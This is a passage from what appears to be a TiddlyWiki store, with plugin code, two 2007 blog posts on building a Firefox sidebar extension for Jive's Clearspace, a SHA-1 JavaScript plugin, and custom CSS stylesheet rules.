	if (params[3]) btn.setAttribute("sortby",params[3]);
}
// REPLACE macro handler for <<allTags>> macro to add sorting parameter to each tag entry
config.macros.allTags.handler = function(place,macroName,params)
{
	var tags = store.getTags(params[0]);
	var ul = createTiddlyElement(place,"ul");
	if(tags.length == 0)
		createTiddlyElement(ul,"li",null,"listTitle",this.noTags);
	for(var t=0; t<tags.length; t++) {
		var title = tags[t][0];
		var info = getTiddlyLinkInfo(title);
		var li =createTiddlyElement(ul,"li");
		var btn = createTiddlyButton(li,title + " (" + tags[t][1] + ")",this.tooltip.format([title]),onClickTag,info.classes);
		btn.setAttribute("tag",title);
		btn.setAttribute("refresh","link");
		btn.setAttribute("tiddlyLink",title);
		if (params[1]) btn.setAttribute("sortby",params[1]); // ELS
	}
};
// REPLACE event handler for clicking on a tiddler tag to add sorting of popup contents
function onClickTag(ev)
{
	var e = ev ? ev : window.event;
	var popup = Popup.create(this);
	var tag = this.getAttribute("tag");
	var title = this.getAttribute("tiddler");
	if(popup && tag) {
		var tagged = store.getTaggedTiddlers(tag);
		var sortby = this.getAttribute("sortby"); // ELS
		if (sortby&&sortby.length) store.sortTiddlers(tagged,sortby); // ELS
		var titles = [];
		var li,r;
		for(r=0;r<tagged.length;r++) {
			if(tagged[r].title != title)
				titles.push(tagged[r].title);
		}

		var lingo = config.views.wikified.tag;
		if(titles.length > 0) {
			var openAll = createTiddlyButton(createTiddlyElement(popup,"li"),lingo.openAllText.format([tag]),lingo.openAllTooltip,onClickTagOpenAll);
			openAll.setAttribute("tag",tag);
			createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
			for(r=0; r<titles.length; r++) {
				createTiddlyLink(createTiddlyElement(popup,"li"),titles[r],true);
			}
		} else {
			createTiddlyText(createTiddlyElement(popup,"li",null,"disabled"),lingo.popupNone.format([tag]));
		}
		createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
		var h = createTiddlyLink(createTiddlyElement(popup,"li"),tag,false);
		createTiddlyText(h,lingo.openTag.format([tag]));
	}
	Popup.show();
	e.cancelBubble = true;
	if(e.stopPropagation) e.stopPropagation();
	return false;
}
//}}}
// // }}}
// // {{groupbox small{
// // This tweak adds URL paramifier handlers for "hide:elementID" and "show:elementID".  This is useful for forcing the display state of specific TW page elements, without requiring StyleSheet changes.  For example, if your customized StyleSheet hides the sidebar (useful for 'read only' published documents), you can force it to display when you need to edit the document by adding {{{#show:sidebar}}} to the document URL.  Alternatively, you might want to supress non-tiddler content when printing by hiding the sidebars and header (e.g., {{{#hide:mainMenu hide:sidebar hide:header}}})
//{{{
if (config.paramifiers) { // check for backward-compatibility
	config.paramifiers.hide = { onstart: function(id) { var e=document.getElementById(id); if (e) e.style.display="none"; } };
	config.paramifiers.show = { onstart: function(id) { var e=document.getElementById(id); if (e) e.style.display="block"; } };
}
//}}}
// // }}}
// // {{groupbox small{
// // This HIJACK tweak pre-processes source content to convert "double-backslash-newline" into {{{<br>}}} before wikify(), so that literal newlines can be embedded in line-mode wiki syntax (e.g., tables, bullets, etc.).  Based on a suggestion from Sitaram Chamarty.
//{{{
window.coreWikify = wikify;
window.wikify = function(source,output,highlightRegExp,tiddler)
{
	if (source) arguments[0]=source.replace(/\\\\\n/mg,"<br>");
	coreWikify.apply(this,arguments);
}
//}}}
// // }}}
<!-- Start of StatCounter Code -->
<script type="text/javascript">
sc_project=3653015; 
sc_invisible=1; 
sc_partition=43; 
sc_security="274b181f"; 
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a href="http://www.statcounter.com/free_web_stats.html" target="_blank"><img class="statcounter" src="http://c44.statcounter.com/3653015/0/274b181f/1/" alt="free web stats" ></a></div></noscript>
<!-- End of StatCounter Code -->
Creating a Firefox Sidebar for Clearspace: Part I - [[Part II|Creating a Firefox Sidebar for Clearspace: Part Two]]
October 2nd, 2007 · 1 Comment

It’s been embarassingly quiet on this blog of late, I apologize for all the delicious links, although a case could be made that blogs were originally nothing more than sharing links so maybe I shouldn’t be apologizing, but that’s a different blog post. Today I want to talk about the thing I’ve been working on at night, my non-day job if you will. A couple months ago I was reading all the hype about how JavaScript is going to take over the world and I’d been doing a lot of JavaScript during the day but I needed a project to get me through the night. Right about that time was when Twitter started taking off and I came across twitbin, which is a cool Firefox sidebar that shows you all of your friends tweets in a Firefox sidebar (the same sidebar that livehttpheaders and selenium IDE show up in), updated in real time. Like any good hacker, I wondered “how’d they do that” and started poking around the xpi file that you download to install Firefox extensions. Lo and behold, it’s JavaScript and HTML behind the scenes. Since Clearspace is one of those addictive, constantly updating, can’t get enough of it kind of applications (unlike Twitter you can actually use more than 140 characters! amazing!), I thought it would be both useful and potentially easy to create a sidebar for Clearspace, which brings me to this blog post.

I’m not sure where I started, but I’m pretty sure the first step wasn’t to create a plugin in Clearspace, I messed around for awhile with the technologies that go into creating a Firefox Extension: JavaScript, XUL (pronounced ‘zool’), install manifests, etc. I got a sample Firefox sidebar up and running that and spent way more time than I should have installing, viewing, uninstalling and restarting Firefox than I should have. I spent a lot of time digesting these sites:

    * http://roachfiend.com/archives/2004/12/08/how-to-create-firefox-extensions/
    * http://forums.mozillazine.org/viewforum.php?f=19
    * http://developer.mozilla.org/en/docs/XUL_Tutorial:Overlays
    * http://developer-stage.mozilla.org/en/docs/Code_snippets:Tabbed_browser

I’ll discuss some of the things I ran into on the Firefox / JavaScript side in a second blog post: right now I want to talk about the Clearspace side of the plugin.

Eventually, I got to a place where I was comfortable enough with the Firefox side of things to creating the Clearspace part of the plugin. The content that is displayed in the sidebar is nothing more than plain HTML and CSS. If you install the Clearspace plugin you can actually view the content in any browser: go to http://example.com/clearspace/cf-view.jspa (replacing example.com with the host name of your installation). You’ll see that the content looks surprisingly similiar to the content that shows up on the the homepage of Clearspace, and in fact, it is the same content. The one difference between this page and other pages in Clearspace is that it never does a page reload. All the views (the login page, the settings page, the view page, etc.) are included in the resulting HTML, but hidden using CSS so that you only see one view at a time. When you click a button at the top of the page, two things usually happen: a) the current view is hidden using CSS and the new view is displayed using CSS and b) an AJAX request is sent out to a WebWork action that performs some action: logging you out, getting the updated content since your last time you viewed the page, saving your Clearfox settings, etc. This process might seem a little backwards: why not just work the same way a regular web page browsing session works where you click a link and your browser loads another page? It’s actually a limitation imposed by the Firefox extension model, so I won’t go into it here, but if you’re curious, you can do a search for ‘DOMContentLoaded firefox extension’.

So now that you (hopefully) understand how the client works, I’m going to assume that you won’t have any problems copying the ‘example’ plugin that Clearspace ships with and dive right into the pieces that are distinctive about the Clearspace part of the Clearfox plugin.

First, I needed to define the WebWork actions that Clearfox was going to use, which means I needed to create the xwork-plugin.xml file. The descriptor for the view that I mentioned earlier looks like this:

<action name="cf-view"
   class="com.jivesoftware.clearspace.plugin.clearfoxplugin.ViewAction">
   <result name="success">/plugins/clearfox/resources/view.ftl</result>
   <result name="update">/plugins/clearfox/resources/update.ftl</result>
</action>

That action is pretty standard: there are two possible results: the ’success’ result shows the list of the 25 most recently updated pieces of content, the update result is used by an AJAX request to update the existing page with the n most recently updated pieces of content since the last refresh (which by default is invoked every 5 minute). The ViewAction class extends com.jivesoftware.community.action.MainAction, which is the WebWork action that handles the display of the homepage of Clearspace, so ViewAction simply invokes

super.execute();

to get the same content you’d get if you viewed the homepage. When the Clearfox plugin refreshes every 5 or so minutes it invokes the

public String doUpdate()

method, passing in the time (in milliseconds) that the last piece of content it has a record of was updated. It gets back a (presumably) shorter list of content that it then updates the view with.

The login, logout and settings actions are all using in combination with AJAX and since none of them need to provide any data, they all return HTTP status code headers:

<action name="cf-login"
   class="com.jivesoftware.clearspace.plugin.clearfoxplugin.LoginAction">
   <result name="success" type="httpheader">
      <param name="status">200</param>
   </result>
   <result name="unauth" type="httpheader">
      <param name="status">401</param>
   </result>
</action>
<action name="cf-logout"
   class="com.jivesoftware.clearspace.plugin.clearfoxplugin.LogoutAction">
   <result name="success" type="httpheader">
   <param name="status">200</param>
   </result>
</action>
<action name="cf-settings"
   class="com.jivesoftware.clearspace.plugin.clearfoxplugin.SettingsAction">
   <result name="success" type="httpheader">
      <param name="status">200</param>
   </result>
</action>

The last action is used by the Firefox Extension framework to determine if the plugin (on the Firefox side) needs to be updated. The action descriptor looks like this:

<action name="cf-updater"
   class="com.jivesoftware.clearspace.plugin.clearfoxplugin.UpdaterAction">
   <result name="success">
      <param name="location">/plugins/clearfox/resources/updater.ftl</param>
      <param name="contentType">text/rdf</param>
   </result>
</action>

The one trick about this one is that the result sets an HTTP contentType header, which isn’t remarkable except that Clearspace uses Sitemesh, which attempts to decorate everything it can parse with a header and footer. The contentType header should be a hint to Sitemesh that you don’t want the result to be decorated / wrapped with a header and footer, but apparently the hint is to subtle for Sitemesh because it attempts to wrap the result of this action anyway, which leads to the second distinctive part of this plugin.

The way we bypass Sitemesh decoration in the core product is by modifying a file called templates.xml, which gives us the ability tell Sitemesh to exclude certain paths from being decorated. In Clearspace 1.7, which will be out in a couple weeks, plugins (which can’t modify templates.xml) will have the ability to tell Sitemesh about paths that they don’t want decorated. Hence the following entry in the plugin descriptor (always located at the root of plugin and named plugin.xml):

<sitemesh>
   <excludes>
      <pattern>/cf-updater.jsp*</pattern>
      </excludes>
</sitemesh>

Third, Another thing you may have noticed if you were following along with the source code (which is available from clearspace.jivesoftware.com) is that two of the action classes (ViewAction and LoginAction if you must know) are marked with the class annotation ‘AlwaysAllowAnonymous’. This annotation tells the Clearspace security interceptor that the anonymous users should be allowed to invoke the action without being logged in. This is probably a good place to remind you of one of the differences between Clearspace and ClearspaceX. Clearspace, by default, is configured to *require* users to login before they can see any content while ClearspaceX uses the opposite default: you only need to login (usually) if you want to post content. So back to the AlwaysAllowAnonymous annotation: it’s important mostly for the Clearspace (not ClearspaceX) implementations because you want to give people the ability to invoke the action and then the action itself handles the display of the login page in it’s own specific way. The RSS related actions in Clearspace work exactly the same way: they are all annotated with the AlwaysAllowAnonymous marker and then handle security via HTTP Basic Auth (Clearspace) or simply allow anonymous usage (ClearspaceX) because feed readers

Fourth, because the Firefox part of the plugin needs to be specific to your installation, all the Firefox plugin related files need to be zipped up to create the XPI file that your users will install into Firefox. The plugin framework gives you the ability to define a plugin class:

<class>com.jivesoftware.clearspace.plugin.clearfoxplugin.ClearFoxPlugin</class>

which implements com.jivesoftware.base.plugin.Plugin. The interface specifies a method:

public void initializePlugin(PluginManager manager, PluginMetaData pluginData);

which means that your plugin will get a chance to initialize itself. The Clearfox plugin uses this initialization hook to zip up the Firefox related files. The plugin is told where it lives:

public void initializePlugin(PluginManager manager, PluginMetaData metaData) {
   File pluginDir = metaData.getPluginDirectory();
   ...

and then goes on to zip up the files located in the xpi directory of the plugin source.

So that’s that… if you got this far you probably don’t care, but I actually did a screencast of the whole thing that lives over here or you can check it out on blip.tv.

Tags: Clearspace · J2EE · Open Source · Software Development · WebWork · work
Related Posts (?)

    *
      Application settings when using servlets
    *
      Script.aculous, Autocompleter, Element.collectTextNodes and Element.cleanWhitespace
    *
      Struts ActionForm validate() question
    *
      Hacking WebWork Result Types: Freemarker to HTML to JavaScript
    *
      FluentInterface
    *
      Java ZipEntry bug on Windows
    *
      Ajax.Autocompleter is not a constructor
    *
      Creating a Firefox Sidebar for Clearspace: Part II
    *
      Showing Google's Web Accelerator the door using Java / ServletFilter

1 response so far ↓

    *

      1 Aaron Johnson » Blog Archive » Creating a Firefox Sidebar for Clearspace: Part II // Dec 1, 2007 at 11:48 pm

      […] It looks like it was almost 2 months ago that I wrote a blog post about the Clearspace plugin for Firefox (called Clearfox), promising that I would follow up with the details on the JavaScript side of the project. I guess time flies when you’re having fun. […]

Source: [[Creating a Firefox Sidebar for Clearspace: Part I|http://cephas.net/blog/2007/10/02/creating-a-firefox-sidebar-for-clearspace-part-i/]]
Creating a Firefox Sidebar for Clearspace: [[Part I|Creating a Firefox Sidebar for Clearspace: Part One]] - Part II
December 1st, 2007 · No Comments

It looks like it was almost 2 months ago that I wrote a blog post about the Clearspace plugin for Firefox (called Clearfox), promising that I would follow up with the details on the JavaScript side of the project. I guess time flies when you’re having fun.

Getting started on the JavaScript sidebar was easy. The Mozilla folks have a nice document here that shows you how to get a really simple sidebar created, but like a lot of things in software, the last 20% of the features take 80% of the time. It’s also worth noting that Firefox extensions are deployed as an XPI file, themselves nothing more than glorified zip files, so if you’re curious about how an extension (say Firebug, LiveHTTPHeaders or Del.icio.us Bookmarks), you can download the extension, unzip it’s contents and then poke around to your hearts content. It’s just like viewing source on HTML, which is something that other browser extensions don’t offer out of the box. Here are couple things that either weren’t documented in the above document or caused me to repeatedly bang my head against the wall.
Adding Your Icon

When I originally wrote about the plug-in, a number of people asked “why?” I think one of most important things about browser plug-ins is that they bring your web application (in this case Clearspace) front and center in your customers everyday browsing experience. Front and center in Firefox means that your plug-in sits right next to the Back | Forward | Reload | Stop | Home button in the navigation bar. If you want to put a 24×24 picture of yourself in that spot, be my guest. Since the purpose of Clearfox was to get embed Clearspace in the browser, I chose (wisely I think) to use the Clearspace logo. This was one of the simpler things to accomplish. I added the following element to the overlay.xul:

<toolbox id="navigator-toolbox">
    <toolbarpalette id="BrowserToolbarPalette">
      <toolbarbutton id="clearfox-button" class="clearfoxbutton-1 chromeclass-toolbar-additional"
                     observes="viewClearfoxSidebar" />
    </toolbarpalette>
  </toolbox>

and then in a CSS file (that you also reference in overlay.xul), I added this:

#clearfox-button {
  list-style-image: url("chrome://clearfox/skin/clearfox.png");
  -moz-image-region: rect(0px 24px 24px 0px);
}

Finally, you’ll need to have execute some JavaScript when Firefox loads:

var toolbox = document.getElementById("navigator-toolbox");
var toolboxDocument = toolbox.ownerDocument;
var hasClearfoxButton = false;
for (var i = 0; i < toolbox.childNodes.length; ++i) {
  var toolbar = toolbox.childNodes[i];
  if (toolbar.localName == "toolbar" && toolbar.getAttribute("customizable") == "true" ) {
    if (toolbar.currentSet.indexOf("clearfox-button") > -1)
      hasClearfoxButton = true;
  }
}
if (!hasClearfoxButton) {
  for (var i = 0; i < toolbox.childNodes.length; ++i) {
    toolbar = toolbox.childNodes[i];
    if (toolbar.localName == "toolbar" &&  toolbar.getAttribute("customizable") == "true"
      && toolbar.id == "nav-bar") {
      var newSet = "";
      var child = toolbar.firstChild;
      while (child) {
        if (!hasClearfoxButton && (child.id=="clearfox-button" || child.id=="urlbar-container")) {
          newSet += "clearfox-button,";
          hasClearfoxButton = true;
        }
        newSet += child.id + ",";
        child = child.nextSibling;
      }
      newSet = newSet.substring(0, newSet.length-1);
      toolbar.currentSet = newSet;
      toolbar.setAttribute("currentset", newSet);
      toolboxDocument.persist(toolbar.id, "currentset");
      BrowserToolboxCustomizeDone(true)
      break;
    }
  }
}

The key takeaways: the ID of the toolbarbutton element is used in the CSS declaration, the list-style-image property is used to specify the image you want for the button and the observes attribute points to the ID of the broadcaster element, which is used for showing / hiding the sidebar. I’m not all that good with Fireworks / Photoshop so I didn’t go the extra mile to create a separate image to show when a user mouses over the button (check out the the excellent del.icio.us bookmarks extension for an example), but adding a mouseover / hover image is as simple as adding another CSS property:

clearfox-button:hover {
  list-style-image: url("chrome://clearfox/skin/clearfox-hover.png");
}

Loading Sidebar Content

I think I mentioned this when I wrote the original post, but the thing that really got me started with the Firefox extension was looking at the source for the twitbin Firefox extension. When I checked out the source for that extension, I was stunned to learn that they were simply loading up an HTML page from their server and then refreshing the page every couple minutes using an AJAX request. I thought it must have been way more complex than that, but HTML + JavaScript + CSS with a little bit of XUL sprinkled in and you’re golden. In the broadcaster element (mentioned above), you add an attribute ‘oncommand’ that tells Firefox what JavaScript method(s) you want invoked when the user clicks on your button; in Clearfox I use that hook to load the HTML content from Clearspace. The JavaScript looks like this:

var sidebar = top.document.getElementById("sidebar");
sidebar.contentWindow.addEventListener("DOMContentLoaded",
  Clearfox.clearfoxContentLoaded, false);
sidebar.loadURI('http://example.com/yourpage.html');

DOMContentLoaded

Once the content has loaded the DOMContentLoaded event is fired and then Clearfox runs the clearfoxContentLoaded method. I initially tried loading the page and then re-loading that same page every couple minutes: I was cheating and trying not have to do the AJAX part. I added a meta refresh tag to the page to have it reload every n minutes, but the DOMContentLoaded event was only fired the first time the page was loaded. Key takeaway: if you rely on DOMContentLoaded, you’re only going to get the event once, even if your page reloads.
Opening New Tabs

You can run your own little application over in the sidebar if you want to, never opening new tabs or doing anything in the main window, but the main point of the Clearfox extension was to give users the ability to see new content in Clearspace and then able to view the full thread, document or blog post in their main browser window as a new tab. There’s no way you can create new tabs in JavaScript outside of XUL, you have to be inside XUL to create a tab so the DOMContentLoaded event is important because this is where the links are all rewritten to open new tabs rather than work as normal links. There are two parts to the clearfoxContentLoaded method: the first rewrites all the links so that clicking on a link in the sidebar opens a new tab, the second adds listeners to the document so that when new content is added via AJAX, the same first part is repeated. The link conversion looks like this:

var sidebar = top.document.getElementById("sidebar");
var doc = sidebar.contentDocument;
var all_links = new Array();
var links = doc.evaluate("//a", doc, null, XPathResult.ANY_TYPE, null);
var link = links.iterateNext();
while (link) {
  all_links.push(link);
  link = links.iterateNext();
}
for (var i = 0; i < all_links.length; i++) {
  link = all_links[i];
  if (!link.hasAttribute('onclick') &&
    link.hasAttribute('href') &&
    (link.hasAttribute('class') && link.getAttribute('class').indexOf('tabbable') > -1)
  ) {
    var target = link.getAttribute(’href’);
    link.setAttribute(’onclick’, ‘return false;’);
    link.removeAttribute(’target’);
    link.addEventListener(’click’, Clearfox.clearfoxCreateOpenFunction(target), true);
  }
}

In English, get all the links that don’t have an onclick attribute and add an onclick event, whose callback creates a new tab:

clearfoxCreateOpenFunction: function(url) {
  return function() {
    gBrowser.selectedTab = gBrowser.addTab(url);
  };
}

The second part of the clearfoxContentLoaded method listens for any modifications (anytime something is added to the document via an AJAX call, I remove the last n rows, so in this case I listen for the removal of nodes) to the document and adds handlers for the modification event:

var sidebar = top.document.getElementById("sidebar");
var table = sidebar.contentDocument.getElementById("clearfox-hidden-content");
table.addEventListener("DOMNodeRemoved", Clearfox.clearfoxConvertLinks, false);

Debugging

Two things about debugging your extension: a) none of the tools you’ve got installed for debugging JavaScript / CSS (cough! Firebug cough!) will work in the sidebar window and b) your only other option is to resort to the Firefox equivalent of Java’s System.out.println:

function logClearfoxMsg(message) {
  var consoleService = Components.classes["@mozilla.org/consoleservice;1"].getService(Components.interfaces.nsIConsoleService);
  consoleService.logStringMessage("Clearfox: " + message);
}

and then to log a message:

logClearfoxMsg('your advertisement here');

To see the log message, go to Tools –> Error Console.
Showing The Sidebar When Firefox Opens

I spent way more time than I should have working on this last part: when you first install the extension, you’re asked to restart Firefox, which you do and then you see the nice Clearspace button, you click on it and the sidebar opens and you’re happy. Then a couple days later when you need to restart Firefox again (for whatever reason), you’ll notice that the sidebar is open but that no content shows and you’re sad. You probably didn’t take it personally, but I did and I wanted to figure out why Firefox wouldn’t load up the content if the sidebar was already open. There actually is onload attribute that I tried using in the sidebar.xul and that didn’t work for reasons I won’t get into here. What ended up doing the trick for me (and I really think it’s a trick but I couldn’t get anything else to work and this was just about the last option I had) was to check to see if the sidebar was open when Firefox was loading:

var broadcaster = top.document.getElementById('viewClearfoxSidebar');
  if (broadcaster.hasAttribute('checked')) {
    ...

and then, if it is open, *forcing* the sidebar to open again:

toggleSidebar('viewClearfoxSidebar', true);

For whatever reason, this was the only way I could get the rest of my code to work, but work it did. And now I’m happy.

And I hope you are too. If you have any questions about creating a Firefox sidebar, shoot me an email, I’ll be glad to help. If you want to see all the code, you can download the Clearfox source over on the Jive Software Community site. All the JavaScript / XUL code I discussed in this post is in the ‘xpi’ directory off the root.

Tags: Clearspace · J2EE · JavaScript · Rich Internet Applications · Software Development · work
Related Posts (?)

    *
      Links: 12-4-2006
    *
      Can't add hyperlink with onclick to IE using DOM
    *
      JavaServer Faces notes from NEJUG meeting
    *
      XSL / CSS Processing Instructions using ROME
    *
      How MoreLikeThis Works in Lucene
    *
      Hacking WebWork Result Types: Freemarker to HTML to JavaScript
    *
      Tabbing Through Tabs
    *
      Creating a Firefox Sidebar for Clearspace: Part I
    *
      Ajax.Autocompleter is not a constructor

Source: [[Creating a Firefox Sidebar for Clearspace: Part II|http://cephas.net/blog/2007/12/01/creating-a-firefox-sidebar-for-clearspace-part-ii/]]
/***
|''Name:''|CryptoFunctionsPlugin|
|''Description:''|Support for cryptographic functions|
***/
//{{{
if(!version.extensions.CryptoFunctionsPlugin) {
version.extensions.CryptoFunctionsPlugin = {installed:true};

//--
//-- Crypto functions and associated conversion routines
//--

// Crypto "namespace"
function Crypto() {}

// Convert a string to an array of big-endian 32-bit words
Crypto.strToBe32s = function(str)
{
	var be = Array();
	var len = Math.floor(str.length/4);
	var i, j;
	for(i=0, j=0; i<len; i++, j+=4) {
		be[i] = ((str.charCodeAt(j)&0xff) << 24)|((str.charCodeAt(j+1)&0xff) << 16)|((str.charCodeAt(j+2)&0xff) << 8)|(str.charCodeAt(j+3)&0xff);
	}
	while (j<str.length) {
		be[j>>2] |= (str.charCodeAt(j)&0xff)<<(24-(j*8)%32);
		j++;
	}
	return be;
};

// Convert an array of big-endian 32-bit words to a string
Crypto.be32sToStr = function(be)
{
	var str = "";
	for(var i=0;i<be.length*32;i+=8)
		str += String.fromCharCode((be[i>>5]>>>(24-i%32)) & 0xff);
	return str;
};

// Convert an array of big-endian 32-bit words to a hex string
Crypto.be32sToHex = function(be)
{
	var hex = "0123456789ABCDEF";
	var str = "";
	for(var i=0;i<be.length*4;i++)
		str += hex.charAt((be[i>>2]>>((3-i%4)*8+4))&0xF) + hex.charAt((be[i>>2]>>((3-i%4)*8))&0xF);
	return str;
};

// Return, in hex, the SHA-1 hash of a string
Crypto.hexSha1Str = function(str)
{
	return Crypto.be32sToHex(Crypto.sha1Str(str));
};

// Return the SHA-1 hash of a string
Crypto.sha1Str = function(str)
{
	return Crypto.sha1(Crypto.strToBe32s(str),str.length);
};

// Calculate the SHA-1 hash of an array of blen bytes of big-endian 32-bit words
Crypto.sha1 = function(x,blen)
{
	// Add 32-bit integers, wrapping at 32 bits
	add32 = function(a,b)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF);
		var msw = (a>>16)+(b>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Add five 32-bit integers, wrapping at 32 bits
	add32x5 = function(a,b,c,d,e)
	{
		var lsw = (a&0xFFFF)+(b&0xFFFF)+(c&0xFFFF)+(d&0xFFFF)+(e&0xFFFF);
		var msw = (a>>16)+(b>>16)+(c>>16)+(d>>16)+(e>>16)+(lsw>>16);
		return (msw<<16)|(lsw&0xFFFF);
	};
	// Bitwise rotate left a 32-bit integer by 1 bit
	rol32 = function(n)
	{
		return (n>>>31)|(n<<1);
	};

	var len = blen*8;
	// Append padding so length in bits is 448 mod 512
	x[len>>5] |= 0x80 << (24-len%32);
	// Append length
	x[((len+64>>9)<<4)+15] = len;
	var w = Array(80);

	var k1 = 0x5A827999;
	var k2 = 0x6ED9EBA1;
	var k3 = 0x8F1BBCDC;
	var k4 = 0xCA62C1D6;

	var h0 = 0x67452301;
	var h1 = 0xEFCDAB89;
	var h2 = 0x98BADCFE;
	var h3 = 0x10325476;
	var h4 = 0xC3D2E1F0;

	for(var i=0;i<x.length;i+=16) {
		var j,t;
		var a = h0;
		var b = h1;
		var c = h2;
		var d = h3;
		var e = h4;
		for(j = 0;j<16;j++) {
			w[j] = x[i+j];
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=16;j<20;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),d^(b&(c^d)),w[j],k1);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=20;j<40;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k2);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=40;j<60;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),(b&c)|(d&(b|c)),w[j],k3);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}
		for(j=60;j<80;j++) {
			w[j] = rol32(w[j-3]^w[j-8]^w[j-14]^w[j-16]);
			t = add32x5(e,(a>>>27)|(a<<5),b^c^d,w[j],k4);
			e=d; d=c; c=(b>>>2)|(b<<30); b=a; a = t;
		}

		h0 = add32(h0,a);
		h1 = add32(h1,b);
		h2 = add32(h2,c);
		h3 = add32(h3,d);
		h4 = add32(h4,e);
	}
	return Array(h0,h1,h2,h3,h4);
};


}
//}}}
/***
!!!<<gradient horiz #fc3 #fff >><<tiddler RefreshStyles>>&nbsp;CustomCSS>>/%==================================================%/
***/

/***CustomCSS is a style sheet that contains the "custom class" CSS to customize special features in TW Help.  It is placed in StyleSheet as a [[NestedStyleSheet|NestedStyleSheets]] and is an essential component.***/

/***There may be extra nested stylesheets at the end of this stylesheet***/

/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;~CustomTable>>/%==================================================%/
***/

/*{{{*/


.liststyleimagenone {list-style-image: none; margin-left:0em;padding: 0em}

.viewer table {
border: 1px solid #008;
margin-left:0em;
}

#tiddlerFolderTree {color:#050;}
#tiddlerHistory .tabContents {color:#050; background:#eee;}
#tiddlerFolderTree .tabContents {color:#050;}
#tiddlerTimeline {color:#050;}


.scroll{overflow: scroll}
.scrollauto {overflow: auto}

.nowrap {white-space:nowrap;}
.wrap{wrap;}

#tiddlerDirectory {line-height: 1em;}

.systemcontents {
 height: 450px; 
 width: auto; 
 position:relative;
 overflow: auto;
 margin:auto;
 margin-left:0em;
 }

.popup {
 max-height:275px;
 min-height:auto;
 width: auto; 
 overflow: auto;
 margin:auto;
-moz-border-radius : 0.65em 0.2em 0.2em 0.65em;

}


.doubleborder {
    border: 4px double #fcf;
    margin: 8px;
}

.tableright  table {border:0 !important;td.vertical-align:top;margin-left:auto ; margin-right:0  auto !important; text-align:left; padding:0px;}


.tablecenter  table{ border:1 !important;td.vertical-align:top;margin-left: auto; margin-right: auto; text-align:left; padding:0px;}
.tablecenterpad17 table { td.vertical-align:top;margin-left: auto; margin-right: auto; text-align:
left; padding:17px;}

.borderless, .borderless table, .borderless td, .borderless tr, .borderless th, .borderless tbody
	{ border:0 !important; margin:0 !important; padding:3px !important; td.vertical-align:top !important;margin-left: auto !important; margin-right: auto !important;}

.borderless5px, .borderless5px table, .borderless5px td, .borderless5px tr, .borderless5px th, .borderless5px tbody { border:0 !important; margin:0 !important; padding:5px !important; td.vertical-align:top !important;margin-left: auto !important; margin-right: auto !important;}

.borderlessL, .borderlessL table, .borderlessL td, .borderlessL tr, .borderlessL th, .borderlessL tbody
	{ border:0 !important; margin:0 !important; padding:7px !important; td.vertical-align:top !important;margin-left: 0 !important; margin-right: auto !important;}

.borderlessL0, .borderlessL 0table, .borderlessL0 td, .borderlessL0 tr, .borderlessL0 th, .borderlessL0 tbody
	{ border:0 !important; margin:0 !important; padding:0px !important; td.vertical-align:top !important;margin-left: 0 !important; margin-right: auto !important;}

.borderlessR, .borderlessR table, .borderlessR td, .borderlessR tr, .borderlessR th, .borderlessR tbody
	{ border:0 !important; margin:0 !important; padding:7px !important; td.vertical-align:top !important;margin-left: auto !important; margin-right: 0 !important;}

.lineheighttable{line-height;95%}


.viewer tr.oddRow { background-color: #eaeaea;}
.viewer tr.evenRow { background-color:#fff; } 

/%row code for html%/
tr.d0 td {background-color: #ccc; color: black;}
tr.d1 td {background-color: #eaeaea; color: black;}


/*}}}*/
/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;~CustomText>>/%==================================================%/
***/
/*{{{*/

.c06 {color:#c06;}
.gray9 {color:#999;}

.fontsize40 {font-size:0.5em}
.fontsize80 {font-size:0.75em}

.textleft { display:block;text-align:left; }
.textleftM { display:block;text-align:left; margin:0;padding:0;border:0;margin-left:.95em; }

.textright { display:block;text-align:right; }
.textcenter { display:block;text-align:center; }
.textjustify { display:block;text-align:justify; }
.textindent05 { display:block;margin:0;padding:0;border:0;margin-left:0.5em; }
.textindent1 { display:block;margin:0;padding:0;border:0;margin-left:1em; }
.textindent2 { display:block;margin:0;padding:0;border:0;margin-left:2em; }


.wrap { white-space:normal; }
.nowrap	{ white-space:nowrap; }

.headingcolor{color:#FFF;background:#ff8888;}
.wrappingClass{padding: 0px 0.5em 0px 0.5em;color: #FFF; background: #06f;}



.firstletter{
display:block;
float:left;
width:1.0em;
font-size:400%;
font-family:times,courier;
line-height:80%;
}

.firstletterK{
display:block;
float:left;
width:0.75em;
font-size:400%;
font-family:times,courier;
line-height:80%;
}

.firstletterT{
display:block;
float:left;
width:0.65em;
font-size:300%;
font-family:times,courier;
line-height:95%;
}

.headline{
color:#c06;
font-size:180%;
font-family:times,arial;
line-height:60%;
}

/*}}}*/
/***
!!!<<gradient horiz #FF8888 #ffffff >>&nbsp;Layout>>/%==================================================%/
***/
/*{{{*/

.twocolumns { display:block; -moz-column-count:2; -moz-column-gap:1em; -moz-column-
width:50%;}
.threecolumns { display:block; -moz-column-count:3; -moz-column-gap:1em; -moz-column-
width:33%}
.fourcolumns { display:block; -moz-column-count:4; -moz-column-gap:1em; -moz-column-
width:25%}

.doubleborder {
    border: 4px double #fcf;
    margin: 8px;
}

.floatboxright {
    float: right;
    width: 20em;
    border: solid 1px;
    padding:3px;
    background-color:#fcf;
    /* whatever other styling you want.. */
} 


.floatboxleft {
    float: left;
    width: 20em;
    border: solid 1px;
    padding:3px;
